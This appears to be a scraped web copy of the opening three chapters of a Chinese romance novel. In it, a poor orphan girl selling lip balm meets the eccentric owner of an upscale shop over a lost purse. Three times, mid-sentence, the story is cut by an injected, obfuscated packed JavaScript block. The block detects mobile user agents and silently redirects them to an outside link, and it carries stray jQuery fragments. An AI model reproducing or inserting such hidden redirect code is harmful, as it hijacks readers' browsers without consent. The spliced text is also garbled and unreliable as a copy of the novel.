《冒牌货(先婚后爱)》
1. 第 1 章【修】
除夕下了一夜的雪,新年第一天,艳阳高照。
进京的路有一段上坡,积雪深厚,一辆老旧的牛车车轮毫不意外地陷进雪中,任凭驾车的妇人怎么甩鞭子,依旧纹丝不动。
妇人骂了几句,骂声落在车后的林霏清耳中,她条件反射般跳下车,踩到地上的一瞬间,没到小腿的雪沿着鞋子缝隙钻了进去,顷刻间化为雪水打湿袜子。
林霏清抿了抿唇,没有做声,忽视脚尖冰凉刺骨的潮湿,抬起手在车后使劲,她力气大,很快牛车从淤雪中脱离,继续吱呀呀向京城走去。
手上力道一松,林霏清迅速俯身将方才从车上滑落的兔毛捞进怀中,随即快跑几步跳回车里,手长腿长,穿着冬衣做这些动作也流畅利索。
牛车晃了晃,待坐稳后,林霏清才舒了口气,鞋内的脚已经被雪水浸透了,她轻轻拍了拍残留在鞋面上的积雪。
细碎的雪末落在兔毛上,林霏清一僵,悄悄去看舅母神情。
好在舅母应当没发现这些小事,她垂下眼,停下了手中的动作。
这一路再无旁的事,牛车顺利通过城门查检,待车停稳后,林霏清利落跳下车,与舅母一起支起了小摊。
前朝时,每月一日燕都都会开设集市,只是连年战乱搁置了许久,而今新朝初立,第一个新年,百姓不约而同重新聚集在此。
舅舅家中务农,偶尔会做些木工,加上家中鸡兔产出的鸡蛋和兔毛,不大的小摊很快填的满满当当。
集市上人潮涌动,哪怕她们路上耽搁了些时间,摊前也迅速聚集起了人,林霏清帮着舅母收钱卖货,好不容易等人少了些,赶忙向舅母提出得出去一趟。
舅母看了她一眼,知道她要去干什么,也没多问,只淡淡“嗯”了一声,嘱咐道:“城门落锁前半个时辰得回来。”
林霏清乖巧地笑了笑,返回牛车,从上头取下个不大不小的黑包,而后熟门熟路地跑到了另一条街上。
这条街皆是些胭脂水粉钗饰锦衣的铺面,承蒙燕都的福气,哪怕战事最紧时,京中贵人也依旧没忘了妆点自己,放在旁的地方早该开不下去的铺面,在这里却红红火火。
林霏清看都没看街头富丽堂皇的牌楼,一直跑到街尾,一家灰扑扑的店铺前才停下脚步。
但平日开到夜黑的店铺此时却紧闭着门。
程阿婆从不会这样。
林霏清担心她出了事。
门上贴着张纸。
林霏清不识字,只好到隔壁店去询问。
隔壁老板喝着茶,慢悠悠道:“去哪了?有她儿子的消息,自然就不干了呗。”
林霏清一愣,随即明白过来,她知道程阿婆有个儿子,战乱初时便被征走参军了,起初还有家书传来,渐渐的却没了消息,这么多年过去,都以为人没了,没想到安定下来后,竟然找到了。
老板看着林霏清,突然记起她是谁:“你是先前给程阿婆店里供口脂的那个吧?”
林霏清回过神来,点了点头。
老板放下茶杯,染得鲜红的指甲从柜里取出个小荷包:“程阿婆让我交给你的,说是这些年多亏你她才能开下去,这是给你的谢礼。”
-
林霏清从店里出来,颠了颠手中荷包。
看起来还挺有分量的,不知道里头有多少钱。
最后看了一眼紧闭的店门,林霏清收回目光,她为程阿婆高兴,但断了一条货源,舅母万一生气了怎么办。
好在天色尚早,远不到与舅母碰面的时候,林霏清想了想,决定到别处去问一问,若能找到愿意要她口脂的店就最好了。
只是拿着口脂,推销的事却没有那么顺利,旁的店铺要么嫌弃她的竹盒过于粗陋,选用的花朵不名贵没有说头,要么便是看中了货品,但看她年轻不经事就恶意压价。
一路问过去,竟没有一家合适的。
到最后,只剩下开在街口的,三层楼高的,金碧辉煌,看着就“很贵”的一家,牌匾高高悬在门梁上,黑底金字,龙飞凤舞,扎眼的很。
林霏清读书不多,眯着眼,依稀辨认出来“金玉楼”三个字。
哪怕住在城外,林霏清也听说过金玉楼的名号,燕都寸土寸金,金玉楼占据这么大的地段,一年光租金就得万余两,她卖口脂一月一吊半,得干五百多年才能攒下这里一年的租金。
而金玉楼也没有辜负它这么贵的地价,作为燕都唯一一个囊括了胭脂首饰衣装的店,它每日的进账也是天文数字,光看楼中的人流便可窥视一二,新年第一日,临近傍晚百姓渐渐归家,但金玉楼中依旧人满为患,且瞧着客人装束非富即贵,一看就是不缺钱的主。
要是她的口脂能在这里售卖,一月的收入不说旁的,翻个两番是没问题。
但……
看着停在店门口的香车宝马,高大华丽的门头,再看她身上补丁打补丁的旧棉衣,雪水与泥水混在一起的布鞋,别说进去了,光是站在这里就已经耗费了她全部的勇气。
算了,这次拿了两个月钱,舅母应当不会特别不高兴,实在不行,之后问舅母要些钱,买几个漂亮点的口脂盒。
林霏清心中打算着,没注意到身边什么时候站了一个人。
“姑娘。”那人唤她。
林霏清回过神来,是个三十出头的女子,穿着金玉楼店员统一的衣衫,面容清秀,眼中盈着可亲的笑意:“进去看看有什么喜欢的?”
“不,不。”林霏清慌忙摆手,“我不是来买东西的。”
她下意识想跑,但面前女子看起来温和又耐心,林霏清莫名生出些勇气,她攥紧了身前的布带,小声道:“我想问问,你们店里,还收不收口脂?”
-
直到被带进金玉楼里,林霏清还有些茫然。
方才的女子听见她说要卖口脂,显然是愣了愣,但很快又反应过来,温和地告知她,供货要金玉楼管事看了才能定。
碰了一天的壁,林霏清下意识便以为被拒绝了,却不想那女子竟将她带进楼中。
“我去请管事,您稍等片刻。”
这处人不多,林霏清打眼一瞧,这片恰好是金玉楼存放口脂的地方,她来了兴致,胆子也比先前大了点,往那边凑了几步,鬼鬼祟祟地偷瞧货架上的东西。
没看中口脂,却瞧见底层列了一排蜂蜡。
这是做口脂的好东西,只是冬日难寻,买又太贵。
但,林霏清有些纠结地咬了咬唇,要是真能在金玉楼卖口脂,多花些成本也是值当的,加上程阿婆给了自己一个荷包……
一边想着,林霏清不由自主地在荷包处摸了摸。
这一摸却发现,原本放着荷包的地方,此刻竟空空如也。
林霏清背后瞬间冒出冷汗,不可置信地低头仔细翻了翻,可无论她怎么找,别的钱还在,唯独程阿婆给的荷包不见了。
完了,是丢了,还是让人摸走了?
林霏清脑子有些乱,想到处找找,又担心走错地方。
正无措之际,却听见大门处传来一阵骚乱。
那里不知什么时候来了个男人,傍晚的暮色中,他坐在轮椅上,哪怕被人围着也格外闲适,身边人殷切地与他说着话,他微微侧着脸,却没正眼看人,微垂着眼睑看起来有几分倨傲疏离。
似是注意到林霏清的目光,男人偏过头来,林霏清的眼睛一亮,却不是因着男人的相貌,而是对方修长流畅的指尖上,此刻正把玩着一个荷包,布料花样看起来,与程阿婆送给她的那个一模一样。
但问题在于,男人身边聚的人未免太多了些。
不说身后为他推轮椅的那位,店中所有人都好像
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744389|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
认得男人一般,不止店员,连客人见到他,也会笑吟吟冲他问一句“男老板好”。
原来是金玉楼的老板,怪不得这些人会这么殷勤。
林霏清恍然,随即又有些奇怪,老板便老板,为何要偏偏加上一个“男”字?这又不是需要特别标注的事。
男老板缓缓被人推往这边来,林霏清退后几步,避开围向男老板身边的人群,透过人隙好奇地观察了一会对方。
先前那一眼,林霏清的注意力全在男老板指尖的荷包上,此刻站在角落,唯一能看到的便是男人秀美的侧颜和极致完美的五官,过分苍白的肌肤非但没有折损他的好看,反而增添了些许假人般的精致,哪怕没什么表情与动作,只坐在那里就能吸引所有人的目光。
这样的人天生就该站在,啊不,坐在人群中央。
林霏清盯着看了一会,突然福至心灵,这样标致的样貌,若不强调“男”,或许真的会让人模糊掉他的性别。
只是这样强调,不知是被错认了多少次。
想到男人被无数次认成姑娘后坚决要求旁人叫自己“男老板”的样子,林霏清忍不住垂下眼无声地笑了笑。
笑完,她整理好表情,抬起眼,却出乎意料地对上了一道视线。
直白,冷淡,带着自始至终的倦懒。
林霏清一僵,下意识错开目光。
片息后没忍住重新看回去,男人却已经收回视线,仿佛刚才那一眼只是她的错觉。
放缓呼吸等了许久,见男人没再有什么动作,林霏清渐渐放下心来。
或许真的只是错觉。
到底来金玉楼的皆是非富即贵,有自己的矜持,就算殷切也不会过分热情,最多也只是寒暄几句,更多的冲男老板打了声招呼便各自散去。
不多时男老板身边只剩下在他身后推轮椅的人,林霏清又看到了挂在他指尖的荷包,鼓囊囊,沉甸甸,随着他的动作,一上一下地荡着。
是不是自己丢的荷包,还得上前问问才好。
抓住男人身边无人的空档,林霏清迈开步子向男人走去,对方此时背对着她,林霏清没有靠得太近,隔着些距离,学着旁人轻轻叫了一声男老板。
……
什么都没发生。
许是自己声音太小了,林霏清有些尴尬,却并不泄气,鼓了鼓劲,正要再次开口,耳边突然传来极为响亮的一声“男老板!”
林霏清一个激灵,本要吐出的话断在喉咙里,只泄出一道小小的尾音。
再看前头人听见声响打算回头,林霏清还没来得及思考便迅速向一侧躲去,动作之快连方才出声那人经过她时都投来了疑惑的一眼。
待男老板转过头,林霏清已经凑到一旁的货架边,摆弄东西的样子与寻常客人没什么区别。
喊那一声的似乎是店中雇员,没从林霏清身上看出什么便收回目光,跑到男老板身边笑道:“我已派人去唤杜管事,您要不要先去茶室歇着?”
“不必,你去忙吧,一点小事而已。”
男老板回绝,这样近的距离,林霏清第一次听清了他的声音。
声线是和外表一样的漂亮清越,拖着懒洋洋的腔调,听起来有些敷衍。
来人却好似并未觉着什么不对,听男人这样说便果断躬身退下。
男老板周围又没了人,林霏清面朝货架,却没看进去上面的任何货品,满心都在给自己鼓劲,这次一定要大声一点。
几息后,林霏清调整好心态,这次她已准备好说辞,绝对万无一失。
她深吸口气,动了动脚,这时——
“那位姑娘。”熟悉的,懒洋洋的声线从身后传来。
转过身,不知什么时候,男人已经看向她,直勾勾的,冷漠的脸突然露出一个笑。
“你刚叫我啊?”
2. 第 2 章【修】
啊?
刚准备好的腹稿瞬间被打乱,林霏清愣在原地,对面人好像也不着急,颇有闲情逸致地将荷包搁在腿上,指尖一下一下绕着系带玩耍。
须臾,看着暗红色的荷包,林霏清回过神来,眨了眨眼:“对,我还以为您没听到。”她不好意思地询问,“请问,您手上那个荷包,是您的吗?”
男老板扯了扯嘴角,懒洋洋地靠在椅背上:“在我手上,不是我的,难道还是你的?”
这话的意思是,让她好好确认一下?
林霏清思考了片息,视线落在荷包上仔细看了看,越看越觉得眼熟,坦诚道:“很有可能。”
话落,林霏清的视线里,男人把玩系带的指尖似乎僵了僵。林霏清将这当做男人听进去她的话的反应,心里多了些底气。
“要不您给我看看?”顿了顿,见男人没有反应,林霏清怕他拿错东西不好意思,安慰道,“这也不是您的错。”
一年能拿出万两交租金的老板,想也知道对方不会看得上她这小小荷包里的钱,这件事多半是个误会,既是误会解开了就好。
这次的沉默有些长,周遭有人想来打招呼,但在看清男人面上的表情后又停住了脚步,目光在男人与对面的姑娘身上来回游移,不知两人之间发生了什么。
但可以确定的是,这位老板,并不是什么好脾气的人。
“是吗?”沉默了片刻,男人偏了偏头,若有所思地看向林霏清,“既然是你的,那你应该能说出来,里面有多少钱吧?”
额,林霏清僵住,荷包是程阿婆给她的,到遗失之前,她还没有来得及打开看,怎么会知道里面有多少钱。
将她面上的慌乱尽收眼底,男人嘴角牵起一抹愉悦的弧度,然后,他就在林霏清的目光下——
站起来了。
……
啊?
这么突然就康复了吗?
林霏清难以置信地睁大了眼,仔细往男人身后看去,那里的确放着一把轮椅——前面两个小木轮,后面两个大木轮。
“您、您……”
再看看周围人,对此好像都习以为常,没有一个露出惊讶之色。
林霏清一时有些混乱,是她小题大做了吗?腿疾之人突然站起来在燕都是很正常的事对吗?
而男人也在这个时候走到她跟前,先前坐着看不出来,现在站在她面前,林霏清才意识到他实在是高。
她本人个头不矮,在家中已经比表哥和舅舅都要高,平日里也基本没见过比她高的同龄女子,而她十六的生辰还没过,还能再往上窜一窜。
林霏清说不清男老板有多高,只觉得站在他面前都矮了几分。
他停在林霏清三尺外,不知是不是错觉,男人的心情好像更好了,他垂下眼,微微泛灰的瞳孔闪过得意:“说不出来啊?”
林霏清这才想起来她还没有回答男人的问题。
多番冲击下她已彻底不知该说什么好,但男人还在继续向前,将原本的距离硬生生缩短了一半。
不知何种草药混杂在一起的清冽味道袭来,却意外的并不难闻。
对于初次见面的人来说,这是个很不舒服的距离,过近而会带来不安,林霏清想向后退,但她身后便是货架退无可退。
“那就是在骗人了。”男人嘴角泛起恶劣狡黠的笑,微微俯下身,伸手抬起林霏清的下巴,强迫她与自己四目相对,一字一句缓缓道,“好大的胆子啊,在金玉楼行骗,可是要挨打的。”
他的声音不重,落在林霏清耳中却字字惊心。
已知金玉楼是整个燕都最大最昂贵的金器首饰店,既有能力也有必要募养几个保镖打手。
再者她现在有了行骗的嫌疑,在可见的未来,若没办法证明自己的清白,一顿打似乎已经避免不了。
“……”
林霏清在认真考虑,自己现在求饶道歉来不来得及。
听起来挺没骨气,但与被打一顿比起来,骨气好像也不是什么重要的东西。
至于荷包,既然她没办法证明是自己的,那这位老板不相信她,也没什么问题。
“嗯?说话。”
男人说着捏了捏林霏清的下巴,微微的痛感将她拉回神,这下她不敢再犹豫,努了努唇决心要道歉。
但还没来得及开口,一旁突然响起疑惑的一声。
“老板?您在干什么?”
林霏清颤了颤睫,下意识往声音来源看去,但男人在她面前挡的严严实实,除了雪白的衣料什么也看不到。
要是真让人误会,她的口脂肯定不能在这里卖了!
林霏清微抿唇,下意识偏头挣扎起来。
却不期与男人对上眼。
他嘴角的弧度向下了几分,好像因为她的挣扎有些不太高兴,原本淡漠的眼神,但在漂亮的眼型加持下竟有几分深情的错觉。
倏然,他嗤笑一声,而后垂下眼,缓缓松开手,站直,与她拉开距离。
“店里来了个骗子,我处理一下。”男人不知从何处拿出来个帕子,慢条斯理地擦了擦方才捏林霏清下巴的那只手。
“骗子?”来人是位女子,往这边走了几步,待看到林霏清微微凝眉,“您是要给金玉楼供口脂的姑娘?”
经方才那样一吓唬,林霏清现在看谁都危险的很,闻言站在原地,警惕地点了点头:“我是。”
男人擦完手便又重新坐回轮椅上,看着她的动作轻轻笑了一声,只是那笑声落在林霏清耳中吓人得很:“原来认识?”
询问是向着女子。
女子虽不知两人之间发生了什么事,但还是先朝林霏清露出了一个安抚的笑,这才向着男人介绍道:“老板,这位是金玉楼的口脂待选供应人,您叫……”
林霏清忙道:“林霏清,日出而林霏开的那个霏清。”
“林姑娘,我姓杜,是金玉楼的管事,您叫我杜管事便好,”杜管事冲她点了点头,“这位是金玉楼的掌柜,南流景南老板。”
太好了,没有误会她就好。
林霏清闻言先是松了口气,而后才有精力去分辨杜管事的话。
南流景南老板。
南老板……
原来是这个南啊?
林霏清讶然地眨了眨眼,心里多少有些误会的尴尬,但方才发生的事太多,一个名字已经不足以让她震惊,一瞬间的惊讶过后,她很顺畅地接受了金玉楼的老板叫太阳这件事。
南流景此刻也露出了恍然的神色:“所以,不是骗子啊?”
语气听起来,有点遗憾?
“……当然不是。”杜管事微笑道。
“那,既然这样,”南流景的目光又缓缓挪到林霏清身上,似笑非笑的眼神看得她心里发怵,“这荷包当真是你的?”
林霏清一愣,她都差点忘了荷包的事,但既然现在南流景重新提起,旁边又有杜管事为她作证,她便也大了胆子,点了点头:“应该……”
“应该?”对方像抓住了什么,危险地眯了眯眼。
林霏清一个激灵,生怕南流景又抓住什么纰漏再将她当成骗子,忙改口道:“就是我的。”
“行。”似是有杜管事作保,南流景此时分外好说话,随手将荷包递给身后推轮椅的人,“银元,把荷包给林姑娘。”
“是。”叫银元的贴身接过荷包,双手将其送回了林霏清手中。
看着重新回到自己手上的荷包,林霏清长舒一口气,立刻将其仔细塞入胸前布包中,随即抬眼对南流景感激道:“要丢了我真不知道该怎么办,多谢您了。”
语气真挚,好像对方是做了什么救命的大事。
没料到她是这般态度,南流景的眉毛微不可察地挑了挑,有些怪异地看了她一眼,慢吞吞道:“……日后少不了要打交道,你客气了。”
他像是对整件事突然没了兴趣,余光看了眼杜管事:“你先忙,忙完到账房来。”
说罢不等两人做出回应,轻轻抬了抬左手食指,叫银元的侍从会意,推着他往另一个方向去。
十足十的我行我素。
杜管事看起来却十分习惯,对着南流景离开的背影微微欠了欠身,而后笑着转向林霏清:“您说有口脂想供给我们店?”
林霏清:“是的。”
闻言杜管事将她引进一间茶室,而后坐下,不慌不忙地给两人倒了茶,抬头看林霏清还一动不动站在原地,失笑:“您不坐吗?”
林霏清慌忙摇了摇头,手指扣了扣衣摆,小声道:“我衣裳有点脏。”
她态度坚决,杜管事也不强求,温声询问:“能让我看看您带来的口脂吗?”
林霏清点头,迅速从身前布袋中拿出竹盒,轻轻搁在茶桌上,介绍道:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744390|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我自己做的,”顿了顿,想起先前几家店嫌她的口脂没有说头,又补了一句,“采的是枝头最嫩最嫩的梅花。”
只是看见杜管事打开盖子,林霏清才猛然意识到不对。
她这盒口脂已经零零散散给好多家看过了,哪怕不是每一家都愿意打开来看,但原本平整的脂面也早就被扣得坑坑洼洼,看起来又脏又敷衍。
她一颗心猛地提到嗓子眼,好在杜管事虽然轻轻皱了皱眉,但还是取过一旁的小匙挖了一块,而后轻轻抹开在虎口处。
“颜色很漂亮。”她评价道。
闻言,林霏清抿了抿唇,有些高兴,但又生怕这是拒绝前的客套话,攥着衣摆的手心冒出了汗。
杜管事还在查验,她的指尖在虎口那一点点口脂上来回捻动,须臾又用沾着口脂的指尖摩挲了下杯壁。
林霏清不知道这些举动有什么含义,但她此时能做的只有等待。
终于,莫约一盏茶的时间后,杜管事从一旁拿过热帕擦干净了手上的口脂,抬起头时,面上的笑意真诚了些许。
“林姑娘,接下来三日,我们得在店中店员身上试用您的口脂,若三日后试用没问题,金玉楼会引进您的口脂。请您留下住址,三日后我们会将结果寄到贵府上。”
“您是说——”哪怕踏进来时多少希望能够成功,但此刻听见杜管事这样说,林霏清还是有些头晕。
杜管事笑了笑:“林姑娘,您的口脂做得很好,引进您的口脂,是金玉楼的荣幸。”
她的目光在林霏清身上顿了顿,从头上取下一根木簪递给她。
林霏清不解,却还是下意识接过。
木质的簪身没有丝毫装点,朴素得像任何一个农家姑娘头上唯一的装饰,但拿到手上就能察觉出之间的差异。
光滑流畅,触手温润,没有总是挂住头发的缺口,也没有扎手的倒刺。
“这……是什么意思?”林霏清有些茫然地抬头,试图将其放回桌上,却被杜管事按住手。
“您头发乱了。”
林霏清这才注意到她头上的木簪不知何时断成了两截,此刻松松垮垮地挂在发间要掉不掉。
“……”
肯定不能这样出门,犹豫几息,林霏清感激地冲杜管事笑了笑,迅速用这支新簪子盘了个发。
见她打理好,杜管事礼貌地颔了颔首:“若无什么事,我就先失陪了。”
-
来到账房前,杜管事轻轻敲了敲门,很快里面传来一声懒洋洋的“进”。
推开门,南流景正翘着腿坐在轮椅上,姿态悠闲,手中翻着一本账册,银元负手立在一旁,安静地像一个雕塑。
杜管事走到一侧,微微俯下身:“老板,您要见我?”
“嗯。”南流景从嗓子里发出一声,翻了几页账册后“啪嗒”一声合上,脚轻轻一蹬,那轮椅便跟长了眼似的滑到桌前,他将账册随手搁到上头,反复无常道,“本来有事,现在没了。”
杜管事笑容不变,顺理成章地说起另一件事:“您多日未进宫,娘娘念您得很。”
南流景嗤笑,又一用力,这次轮椅滑到银元旁边:“等什么时候阿姊不催我与那些名门闺秀见面,我再入宫去拜见她吧,不然吵起来,我一下死那就不好了。”
杜管事皱起眉,不喜欢南流景开这样的玩笑,只是还不等她说什么,南流景便没了耐心,示意银元推他出门。
杜管事识趣地闭上嘴,朝他欠了欠身,一边思索要怎么美化南流景的话好告知皇后。
轮椅骨碌碌走到门前,推开门,却看到一位金玉楼店员站在门口,抬着手,要敲门的样子。
她率先避让开南流景的轮椅,待到人离开后走进房间,手中拿着一吊钱,颇有些为难道:“方才在茶室寻见的,不知是哪位客人遗落的。”
金玉楼迎来送往,交易大多甚于百两,猛然看见这小小的一吊铜钱,杜管事还有些不适应,但很快又反应过来这钱来自于谁。
她无奈地笑笑,伸过手去:“给我吧。”
小姑娘太过实心眼,这样做生意可容易吃亏。
铜钱落在手中前却突然被人截走。
杜管事抬眼,竟是南流景折返回来,他没有多余的动作,拿到铜钱后直接掉头,一手搭在扶手上把玩着抢夺来的铜钱,不解释,不说明,只留下一个嚣张无比的背影。
3. 第 3 章
回到舅母那里时还不到归家的时间。
但摆出来的东西已经都卖完了,何雁正和旁边人嗑着瓜子聊着天,见林霏清回来,吐了口瓜子皮道:“怎么这么慢?”
林霏清看她脸色,不是很生气的样子,便轻轻抿唇露出了个乖巧的笑:“程阿婆关门了,我去旁的店里问了问。”
何雁拧眉,拍了拍手上灰尘站起身来,与林霏清一块将摆摊的用具搬回牛车上。
“意思是你做的那些玩意儿以后卖不了了?”
两人动作很快,林霏清收起最后一块支架,有些高兴地摇摇头:“金玉楼说愿意收我的口脂。”
“金玉楼?”何雁显然也听说过金玉楼的名号,第一反应便是嗤笑了一声,“就你?”
“……”
林霏清噎了噎,又不知该怎么解释,只能干巴巴道:“是真的。杜管事说要先试用三日,若没问题会寄信过来……”
“哗啦”一声,何雁有些不耐烦地将木车按到黄牛身上:“林霏清,我没教你撒谎吧?”
林霏清又一次体会到方才被误会成骗子的百口莫辩,这个时候除非杜管事愿意出现在这里,否则是证明不了自己了。
她干脆闭上嘴,垂下眼,做出受教的样子,又听舅母说教了一会,直到训斥的声音渐息,这才伸手欲接过何雁手中的鞭子。
上午舅母驾车,回程轮到她了。
却在触碰牛鞭到前一瞬,对面猛然收回手,让她拿了个空。
林霏清茫然抬眼,何雁将手背在身后,紧抿着唇,眉间皱出一个深深的川字。
“知道错了没有?”
街上行人已经不多,但大多商贩还未收摊,林霏清听到窸窸窣窣议论这边的动静,或好奇或戏谑的目光投向此处。
很奇怪的,她这个时候没怎么听进去舅母的教育,却能很清楚感受到周遭的这些目光,缠绕在她身上,仿佛他们都成了舅母,围绕着她,俯视着她。
沉默片刻,她温顺地点了点头:
“……知道了。”
话落,何雁露出温和的笑,将牛鞭递给她:“乖孩子,知错能改就好,回去舅母给你做好吃的。”
林霏清笑笑,接过牛鞭,好似什么都没发生过一样与何雁离开。
看着两人彻底离去,周遭小贩才出声叹道:
“这赵家媳妇人还真好,要我的话,又不是亲女儿,能给口饭吃就不错了,哪会这样费心思管教。”
此话一出,接连引来无数赞同之声。
打仗的时候,每个人都很辛苦,事实上,他们连口吃的也不会给。
牛车缓缓出城,远处山与山之间太阳落下,灿烂的金黄色夕阳落满雪地,折射出细碎的金光。
望着远处连绵空荡的雪地,林霏清神思飞远,只凭着身体做主驾车。
……
等到回过神时,她已经调节好了情绪。
对啊,那可是金玉楼,连她自己都不相信自己真的有机会在那里售卖口脂,舅母一时怀疑也没什么问题。
等到三日后,金玉楼寄来信,舅母看到了,肯定就会相信她了。
-
太阳快完全落下时,林霏清与何雁回到家中。
何雁率先下车,林霏清取下笼头,将牛牵回牛棚,给它喂了草料,这才回到屋内。
舅舅一家在荷花村算得上富裕,除了牛,还养了兔子和鸡,牛兔便也罢了,喂草料就能活,鸡可是得吃谷料的,因而就算只有两只母鸡一只公鸡,他们家也是难得的能隔三差五吃上鸡蛋的人家。
迈入屋内,炉火烧得正旺,倒是不冷,但气氛显然不对。
何雁坐在火炉前掏炉膛,但听那叮铃哐啷声响,反倒像仇人一样,舅舅与表兄坐在饭桌边,一个干巴巴地嚼烟草,另一个低着脑袋,同霜打的茄子一般一个劲地夹腌菜。
林霏清有些不明白状况。
早晨走之前,舅母还很高兴来着。
表兄不算小了,这几年舅舅舅母也开始给他张罗婚事,年前村里的媒人还过来介绍了一个。荷花村没有盲婚哑嫁的习惯,就算父母同意了,两个孩子多少也得见一面才行。
舅舅家富裕,前头都进行得挺顺利,今日两人见面,若是没问题,便能定亲了。
看这样子,是……不顺利?
家中几人心情都不好,林霏清无意碰他们的霉头,站在门口小声说了一句“我去做饭”就迅速钻进隔壁灶房。
前脚踏进去,后脚便听见身后传来舅母爆发般的怒喝声。
“吃吃吃,一天到晚光知道吃!”
怒气不知是冲着谁,林霏清一个激灵,迅速关上门,里头舅母骂了几声,很快舅舅与表兄也开始七嘴八舌地吵了起来。
林霏清叹了口气,俯身生火烧水。
灶房只有三面墙,其中一面还是腰腹高的半墙,寒风透进,林霏清紧了紧领口。她想尽可能的慢一些,最好能完全避过外面的争执,但昨夜的年夜饭还没吃完,后面两三天都是剩饭,热一热的功夫,就算她再怎么磨蹭也花不了多少时间。
等待期间,她坐在炉灶前,用小木枝扒拉焚烧落下的余灰,外头的争吵愈演愈烈,隐约还听见摔打东西的声响,反倒衬得小小灶房里安稳又平静。
林霏清半阖着眼,小小打了个哈欠。
砰——!!
耳边突然一声巨响,林霏清吓得差点惊叫出声,以为来了军队,可紧接着几分绚丽的光彩落进灶台上,她才后知后觉,是烟花。
——过年就是要放烟花的呀。
一簇一簇数火星从京城腾起,又在最高点炸开,漆黑的夜幕被红红绿绿的烟花炸得明亮,林霏清惊异地看着面前的一切,灿烂的火光星星点点落在眼中,映得她小脸绯红。
如果她念过书,便可用无数美好的词句来称赞面前的景象,甚至可以为此赋诗一首,把她看到的,听到的,感受到的毫无保留地表达出来。
可她只是一个没了爹娘,寄养在舅舅家的孤女,她只好如饥似渴地看着眼前的一切,张着嘴,连眨眼都不舍得。
莫约持续了一盏茶的时间,烟花结束时,林霏清还有些依依不舍。这是她长这么大看到最漂亮的东西了。
周围安静得有些不适应,只有木炭在火中燃烧,偶尔发出一声“哔啵”。
饭菜已经热好,端着菜推开堂屋的门,里面几人已经不知何时停止了争执,正从窗边往饭桌旁走,眼中带着如出一辙的意犹未尽。
被烟花吸引的人,不止她一个。
被打断后,想要再度聚集起怒气便没那么容易了,起码此时此刻,舅母等人显然没有再吵一架的意图。
林霏清暗中松了口气。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744391|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
心底悄悄向那个燃放烟花的人道了声谢。
饭桌上,何雁再度提起此事时语气已经冷静了不少:“过几日我把王婆再叫过来一次,阿栋都二十二了,不能再拖了。”
王婆便是先前为表兄说媒的媒人,村里一大半婚事都是她牵成的。
舅舅赵福夹了筷子鱼肉,眉头微微皱起:“人家也要过年,过了十五再说吧。”
何雁听这话就不高兴了,白了他一眼:“就你会做人,我看你是不急,等着吧,再等几年,我看你儿子能不能凭自己本事娶上媳妇!”
“娘!”赵栋被说的没脸,很不高兴地叫了一声,“你差不多行了!”
何雁本就压着火,这会家里一个两个都跟她对着干,越说心里越来气,狠狠将筷子往桌上一拍:“行,我不说了,你们爷俩是一家人一条心,我一个姓何的外人多什么嘴啊!”
赵福张了张嘴,有些无奈:“谁又说你是外人了?让你等到年后,又不是不管了。”说着他叹了口气,像是懒得再争,低下头去扒饭,“算了,我不说了,你爱咋咋吧。”
这话便是退步的意思了,林霏清很有眼色地给她夹了块肉,劝说道:“今日劳累了一天,舅母再吃些吧。”
何雁也的确没吃饱,方才气上头撂了筷子,现在有人递台阶,自然就顺着下来了。
她拿起筷子,冲林霏清和善地笑了笑:“还是霏清懂事,哪跟你这榆木哥哥似的。”
被点名的赵栋从饭碗里抬头瞟了眼林霏清,小声嘟囔:“马屁精。”
林霏清权当没听见,继续低头小口小口吃着饭。
“霏清多大了?”安静了没一会,这次是赵福突然开口。
林霏清愣了愣,但还是迅速答道:“六月过了生辰就十六了。”
“十六了,也不小了。”赵福打了个嗝,放下碗筷喝了口茶。
何雁还对他存着气,听见这话不轻不重地顶了一下:“对自家儿子没见你这么上心。”
赵福皱了皱眉,但没说话,只是时不时往林霏清这边投来若有所思的目光。
林霏清被看得有些不舒服,却又说不上哪里不对劲,加上旁边舅母与表兄都没什么反应,她也只好装作无事发生的样子。
没一会,几人吃好,各自回了房间,林霏清收拾了碗筷,又打扫了兔笼鸡舍,这才打水准备洗漱。
回房路上经过舅舅舅母的屋子,里头还没熄灯,隐约能听见里面窸窸窣窣的交谈声。
她没多逗留,今日跑了这么多地方,早就累了。
只是躺在床铺上,她又睡不着了,脑子里充盈着许多碎片,一会是金玉楼,一会是晚间看的那场烟花,没一会又想起半月前荷花村远嫁出去的好友赵香。
翻了个身,林霏清伸手探进床铺深处,从里面摸出来了个通体翠绿的玉佩,她爬到窗边,就着月光细细观察着玉佩。
触手温润,冬日生暖,林霏清没见过什么好货,也能看出这一定是块值钱的的好玉。
